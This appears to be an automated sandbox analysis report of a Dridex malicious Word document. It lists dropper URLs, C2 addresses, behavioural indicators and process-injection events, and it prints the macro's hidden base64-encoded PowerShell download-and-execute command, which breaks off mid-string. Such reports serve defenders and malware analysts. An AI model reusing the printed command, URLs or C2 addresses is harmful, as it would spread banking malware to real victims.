dridex | 2b8b585d0084b819ea6bee74f896613e1d742bbac10a661c3097cf60e3ebd879

General

Target

Inv.Docum_323925335.doc

Score

10^/10

dridex 10555 botnet discovery evasion loader trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://mountainceramic.com/kx8vjddb.rar

exe.dropper

http://siemensagent.com/ny2tqv.zip

exe.dropper

https://final.makkahkmcc.com/shqay5y.rar

exe.dropper

https://bhasinbrothers.com/cdy7qodb.rar

exe.dropper

https://test.chongthamsika.com.vn/jl4gs4ar.zip

exe.dropper

https://skvflexandoffset.in/igjkrk3.rar

exe.dropper

http://weedcompare.co.uk/mkcy8uttq.zip

exe.dropper

https://thisismycurrentproject.com/rtftdo.rar

Extracted

Family

dridex

Botnet

10555

C2

104.131.164.93:443

46.101.90.205:4643

27.254.174.84:4443

92.94.251.127:3786

rc4.plain

Signatures

Dridex
Dridex(known as Bugat/Cridex) is a form of malware that specializes in stealing bank credentials.
botnet dridex
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 532 1736 cmd.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	532	1736	cmd.exe

Dridex Loader 1 IoCs

Detects Dridex both x86 and x64 loader in memory.

botnet loader

Processes:

resource	yara_rule
behavioral1/memory/652-21-0x00000000006B0000-0x00000000006ED000-memory.dmp	dridex_ldr

Blocklisted process makes network request 6 IoCs

Processes:

powershell.exerundll32.exe

flow pid process

5 1108 powershell.exe
7 1108 powershell.exe
9 652 rundll32.exe
11 652 rundll32.exe
12 652 rundll32.exe
14 652 rundll32.exe
Loads dropped DLL 4 IoCs

Processes:

rundll32.exe

pid process

652 rundll32.exe
652 rundll32.exe
652 rundll32.exe
652 rundll32.exe
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Checks whether UAC is enabled 1 TTPs 1 IoCs
evasion trojan

System Information Discovery
T1082

Processes:

rundll32.exe

description ioc process

Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA rundll32.exe

flow	pid	process
5	1108	powershell.exe
7	1108	powershell.exe
9	652	rundll32.exe
11	652	rundll32.exe
12	652	rundll32.exe
14	652	rundll32.exe

pid	process
652	rundll32.exe
652	rundll32.exe
652	rundll32.exe
652	rundll32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	rundll32.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE

Modifies registry class 280 IoCs

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{161BD534-189C-49DD-8548-448F9078B306}\2.0\HELPDIR	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080}\ = "IPage"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{161BD534-189C-49DD-8548-448F9078B306}\2.0\0	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}\ = "TabStripEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}\ = "FormEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcToggleButton"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{92E11A03-7358-11CE-80CB-00AA00611080}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}\ = "Font"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}\ = "ITabStrip"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}\ = "MultiPageEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69}\ = "IDataAutoWrapper"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}\ = "IControl"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents4"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\TypeLib	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLCheckbox"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLHidden"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}\ = "MdcListEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}\ = "TabStripEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents7"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLReset"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}\ = "MdcComboEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074}\ = "IReturnString"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSubmitButton"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\TypeLib\{161BD534-189C-49DD-8548-448F9078B306}\2.0\ = "Microsoft Forms 2.0 Object Library"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents10"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080}\ = "Tab"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents9"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSubmitButton"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcOptionButton"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69}\ = "IDataAutoWrapper"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01}\ = "IOptionFrame"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcText"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents3"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000_CLASSES\Wow6432Node\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{161BD534-189C-49DD-8548-448F9078B306}\2.0\ = "Microsoft Forms 2.0 Object Library"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1908 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1108 powershell.exe
1108 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1108 powershell.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

1908 WINWORD.EXE
1908 WINWORD.EXE

pid	process
1908	WINWORD.EXE

pid	process
1108	powershell.exe
1108	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1108	powershell.exe

pid	process
1908	WINWORD.EXE
1908	WINWORD.EXE

Suspicious use of WriteProcessMemory 16 IoCs

Processes:

cmd.exepowershell.exerundll32.exe

description	pid	process	target process
PID 532 wrote to memory of 748	532	cmd.exe	msg.exe
PID 532 wrote to memory of 748	532	cmd.exe	msg.exe
PID 532 wrote to memory of 748	532	cmd.exe	msg.exe
PID 532 wrote to memory of 1108	532	cmd.exe	powershell.exe
PID 532 wrote to memory of 1108	532	cmd.exe	powershell.exe
PID 532 wrote to memory of 1108	532	cmd.exe	powershell.exe
PID 1108 wrote to memory of 1044	1108	powershell.exe	rundll32.exe
PID 1108 wrote to memory of 1044	1108	powershell.exe	rundll32.exe
PID 1108 wrote to memory of 1044	1108	powershell.exe	rundll32.exe
PID 1044 wrote to memory of 652	1044	rundll32.exe	rundll32.exe
PID 1044 wrote to memory of 652	1044	rundll32.exe	rundll32.exe
PID 1044 wrote to memory of 652	1044	rundll32.exe	rundll32.exe
PID 1044 wrote to memory of 652	1044	rundll32.exe	rundll32.exe
PID 1044 wrote to memory of 652	1044	rundll32.exe	rundll32.exe
PID 1044 wrote to memory of 652	1044	rundll32.exe	rundll32.exe
PID 1044 wrote to memory of 652	1044	rundll32.exe	rundll32.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Inv.Docum_323925335.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1908

C:\Windows\system32\cmd.exe
cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD IABTAEUAVAAtAEkAVABlAG0AIABWAEEAUgBpAEEAQgBMAEUAOgBNADMANgBxADkAIAAgACgAWwB0AFkAUABFAF0AKAAiAHsAMQB9AHsAMwB9AHsANQB9AHsANAB9AHsAMgB9AHsAMAB9ACIAIAAtAGYAIAAnAFQATwBSAFkAJwAsACcAcwBZAFMAdABFACcALAAnAEMAJwAsACcAbQAuAEkAJwAsACcAZQAnACwAJwBPAC4AZABJAFIAJwApACAAIAApACAAIAA7AFMARQBUAC0AVgBhAFIASQBBAEIAbABlACAAKAAiAEQAbQAyACIAKwAiAEkAcgAiACkAIAAoAFsAdABZAHAARQBdACgAIgB7ADUAfQB7ADgAfQB7ADIAfQB7ADYAfQB7ADMAfQB7ADEAfQB7ADcAfQB7ADAAfQB7ADQAfQAiACAALQBGACcATgBUACcALAAnAE8AJwAsACcAZQAnACwAJwBwACcALAAnAE0AQQBOAGEARwBlAFIAJwAsACcAcwBZAFMAVABFACcALAAnAHIAVgBJAGMAZQAnACwAJwBJACcALAAnAG0ALgBuAEUAVAAuAFMAJwApACAAKQAgADsAJABGADIAcgBnADYAXwBtAD0AKAAoACcAVwAnACsAJwA1AGcAaAAwADIAJwApACsAJwBlACcAKQA7ACQAUwBlAG4AbQBoAHIAegA9ACQAUwBrADUAOQA3AHIAMQAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQARgBuADEAaAA1AGYAYwA7ACQATgAzAGQAcQBhAHQAbwA9ACgAJwBKACcAKwAoACcAcQBfAG8AawAnACsAJwB3ACcAKQArACcAOAAnACkAOwAgACgAVgBBAHIAaQBhAEIATABFACAAbQAzADYAUQA5ACAAIAAtAFYAYQBMAHUAZQBvAG4ATABZACkAOgA6ACIAYwBSAEUAYQB0AEUAZABJAGAAUgBFAGAAYwB0AGAAbwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ADAAfQAnACsAKAAnAFEAMQAnACsAJwA1ACcAKQArACcANwBoAHIANQB7ADAAfQAnACsAKAAnAEIAMAAnACsAJwB3ADQAdAAnACsAJwBjACcAKQArACcAdwB7ADAAJwArACcAfQAnACkALQBGACAAWwBDAGgAYQBSAF0AOQAyACkAKQA7ACQAVgA0AGMAagBpAHoAMQA9ACgAKAAnAEEAJwArACcAYQAwAHMAagAnACkAKwAnAGYAdAAnACkAOwAgACAAKAAgAHYAQQBSAEkAQQBCAGwAZQAgACAAKAAiAGQAbQAyACIAKwAiAGkAcgAiACkAIAAgACkALgBWAGEAbAB1AEUAOgA6ACIAcwBFAGAAQwBVAHIAaQB0AHkAUABgAFIAbwB0AGAATwBjAGAAbwBsACIAIAA9ACAAKAAoACcAVABsACcAKwAnAHMAMQAnACkAKwAnADIAJwApADsAJABUAHUAegBnAHgAegA0AD0AKAAoACcAVwAnACsAJwBnAHUAJwApACsAJwBwAHIAJwArACcAbQBnACcAKQA7ACQAWQBiAGkAMwBmAHEAOQAgAD0AIAAoACcATAAnACsAKAAnAG8AJwArACcAbwBiACcAKwAnAGQANQBvACcAKQArACcANQAnACkAOwAkAEkAcABhAHUANwBwAGkAPQAoACcARwAnACsAJwB4ADEAJwArACgAJwA4ADIAegAnACsAJwBlACcAKQApADsAJABXAG4AYwBmAGsAawB6AD0AKAAoACcASgBjACcAKwAnADYAMgAnACkAKwAnAHMAeQAnACsAJwA5ACcAKQA7ACQASABwAHMAcgB5AHoAbQA9ACQASABPAE0ARQArACgAKAAnAHsAMAB9AFEAMQA1ADcAJwArACcAaAAnACsAJwByACcAKwAnADUAewAwACcAKwAnAH0AQgAnACsAKAAnADAAdwAnACsAJwA0AHQAYwAnACkAKwAnAHcAewAwAH0AJwApACAAIAAtAGYAIABbAEMAaABhAFIAXQA5ADIAKQArACQAWQBiAGkAMwBmAHEAOQArACgAJwAuAGQAJwArACcAbABsACcAKQA7ACQAVwBlAGsAagA0AHgAXwA9ACgAJwBIACcAKwAnAHQAJwArACgAJwBpADEAJwArACcAcgB6ADEAJwApACkAOwAkAEYAZQBrADgAaABiAHUAPQBOAGUAYAB3AC0AbwBCAGAAagBlAGAAQwBUACAAbgBFAHQALgBXAGUAYgBDAGwASQBlAE4AVAA7ACQASAB2AHoAbwBoAGMAMgA9ACgAKAAnAGgAdAAnACsAKAAoACcAdABwAHMAOgBxACcAKwAnAGEAJwArACcAKQAoADYANwApACgAcQBhACcAKwAnACkAJwApACkAKwAoACcAKAAnACsAJwA2ADcAKQAnACkAKwAoACgAJwAoAG0AJwApACkAKwAnAG8AJwArACgAJwB1AG4AJwArACcAdABhAGkAbgBjACcAKQArACgAJwBlAHIAYQBtACcAKwAnAGkAYwAnACsAJwAuACcAKQArACgAJwBjAG8AbQAnACsAJwBxACcAKQArACgAKAAnAGEAKQAnACsAJwAoADYAJwApACkAKwAoACgAJwA3ACkAKABrAHgAJwArACcAOAB2AGoAJwArACcAZABkACcAKwAnAGIALgAnACkAKQArACgAJwByACcAKwAnAGEAcgBAACcAKwAnAGgAdAB0AHAAOgAnACkAKwAoACgAJwBxACcAKwAnAGEAJwArACcAKQAoADYANwAnACkAKQArACgAKAAnACkAJwArACcAKABxAGEAJwApACkAKwAoACgAJwApACgANgA3ACkAKABzACcAKwAnAGkAZQBtAGUAJwArACcAbgBzAGEAJwArACcAZwAnACsAJwBlACcAKwAnAG4AdAAnACkAKQArACgAKAAnAC4AYwBvAG0AcQBhACcAKwAnACkAJwArACcAKAA2ADcAKQAnACkAKQArACgAKAAnACgAbgB5ACcAKwAnADIAdABxAHYALgB6ACcAKwAnAGkAJwArACcAcABAACcAKQApACsAJwBoAHQAJwArACgAKAAnAHQAcABzADoAcQBhACcAKwAnACkAKAAnACsAJwA2ACcAKQApACsAJwA3ACcAKwAoACgAJwApACgAJwApACkAKwAoACgAJwBxACcAKwAnAGEAKQAoADYAJwApACkAKwAoACgAJwA3ACcAKwAnACkAKABmAGkAbgAnACsAJwBhACcAKwAnAGwALgBtACcAKQApACsAKAAnAGEAawAnACsAJwBrAGEAaABrAG0AYwBjAC4AYwAnACsAJwBvACcAKwAnAG0AJwApACsAKAAoACcAcQBhACkAKAAnACsAJwA2ADcAKQAoACcAKwAnAHMAJwApACkAKwAnAGgAcQAnACsAKAAnAGEAJwArACcAeQA1ACcAKwAnAHkAJwArACcALgByAGEAcgBAACcAKQArACgAJwBoACcAKwAnAHQAdABwACcAKwAnAHMAOgAnACkAKwAoACgAJwBxACcAKwAnAGEAKQAnACkAKQArACgAJwAoADYANwAnACsAJwApACgAcQBhACkAJwApACsAKAAoACcAKAA2ACcAKwAnADcAJwApACkAKwAoACgAJwApACgAJwApACkAKwAoACcAYgBoAGEAJwArACcAcwAnACsAJwBpAG4AYgByAG8AdABoACcAKQArACgAJwBlAHIAcwAnACsAJwAuACcAKwAnAGMAbwBtAHEAJwApACsAKAAoACcAYQApACcAKwAnACgAJwArACcANgA3ACkAKABjACcAKQApACsAJwBkAHkAJwArACcANwAnACsAKAAnAHEAbwBkAGIAJwArACcALgByAGEAcgAnACsAJwBAACcAKQArACgAKAAnAGgAdAB0ACcAKwAnAHAAcwA6AHEAJwArACcAYQApACcAKQApACsAJwAoACcAKwAoACgAJwA2ADcAJwArACcAKQAnACkAKQArACgAKAAnACgAJwArACcAcQBhACkAJwArACcAKAA2ADcAJwApACkAKwAnACkAJwArACgAKAAnACgAdAAnACsAJwBlACcAKQApACsAKAAnAHMAdAAuAGMAaABvAG4AJwArACcAZwB0AGgAJwArACcAYQBtAHMAJwApACsAJwBpACcAKwAoACcAawBhAC4AJwArACcAYwBvACcAKQArACgAKAAnAG0ALgAnACsAJwB2AG4AJwArACcAcQBhACkAKAA2ACcAKwAnADcAKQAoACcAKQApACsAJwBqACcAKwAnAGwAJwArACgAJwA0ACcAKwAnAGcAcwA0AGEAcgAnACsAJwAuAHoAJwApACsAKAAnAGkAcABAACcAKwAnAGgAdAB0ACcAKwAnAHAAJwApACsAJwBzADoAJwArACgAKAAnAHEAYQApACgANgAnACsAJwA3ACcAKwAnACkAKAAnACkAKQArACgAKAAnAHEAYQAnACsAJwApACcAKQApACsAJwAoACcAKwAoACgAJwA2ADcAKQAoAHMAJwArACcAawAnACsAJwB2AGYAbAAnACsAJwBlAHgAYQBuAGQAbwBmAGYAcwBlAHQALgAnACsAJwBpACcAKQApACsAKAAoACcAbgBxACcAKwAnAGEAJwArACcAKQAoACcAKwAnADYANwApACgAaQBnAGoAJwApACkAKwAnAGsAcgAnACsAKAAoACcAawAnACsAJwAzAC4AcgAnACsAJwBhAHIAQABoACcAKwAnAHQAdABwADoAcQAnACsAJwBhACkAKAAnACkAKQArACgAKAAnADYAJwArACcANwApACgAcQBhACkAJwArACcAKAA2ADcAJwArACcAKQAoACcAKwAnAHcAZQAnACkAKQArACgAJwBlAGQAJwArACcAYwBvAG0AJwApACsAJwBwAGEAJwArACgAJwByACcAKwAnAGUALgAnACkAKwAnAGMAbwAnACsAKAAoACcALgB1ACcAKwAnAGsAcQAnACsAJwBhACkAKAA2ADcAKQAoAG0AawAnACsAJwBjAHkAJwApACkAKwAoACcAOAB1AHQAdAAnACsAJwBxAC4AegAnACsAJwBpACcAKQArACgAKAAnAHAAJwArACcAQAAnACsAJwBoAHQAdABwAHMAJwArACcAOgBxAGEAKQAnACkAKQArACgAJwAoADYAJwArACcANwApACcAKQArACgAKAAnACgAcQBhACcAKwAnACkAKAA2ADcAJwArACcAKQAoAHQAJwArACcAaABpACcAKwAnAHMAaQAnACsAJwBzAG0AJwApACkAKwAo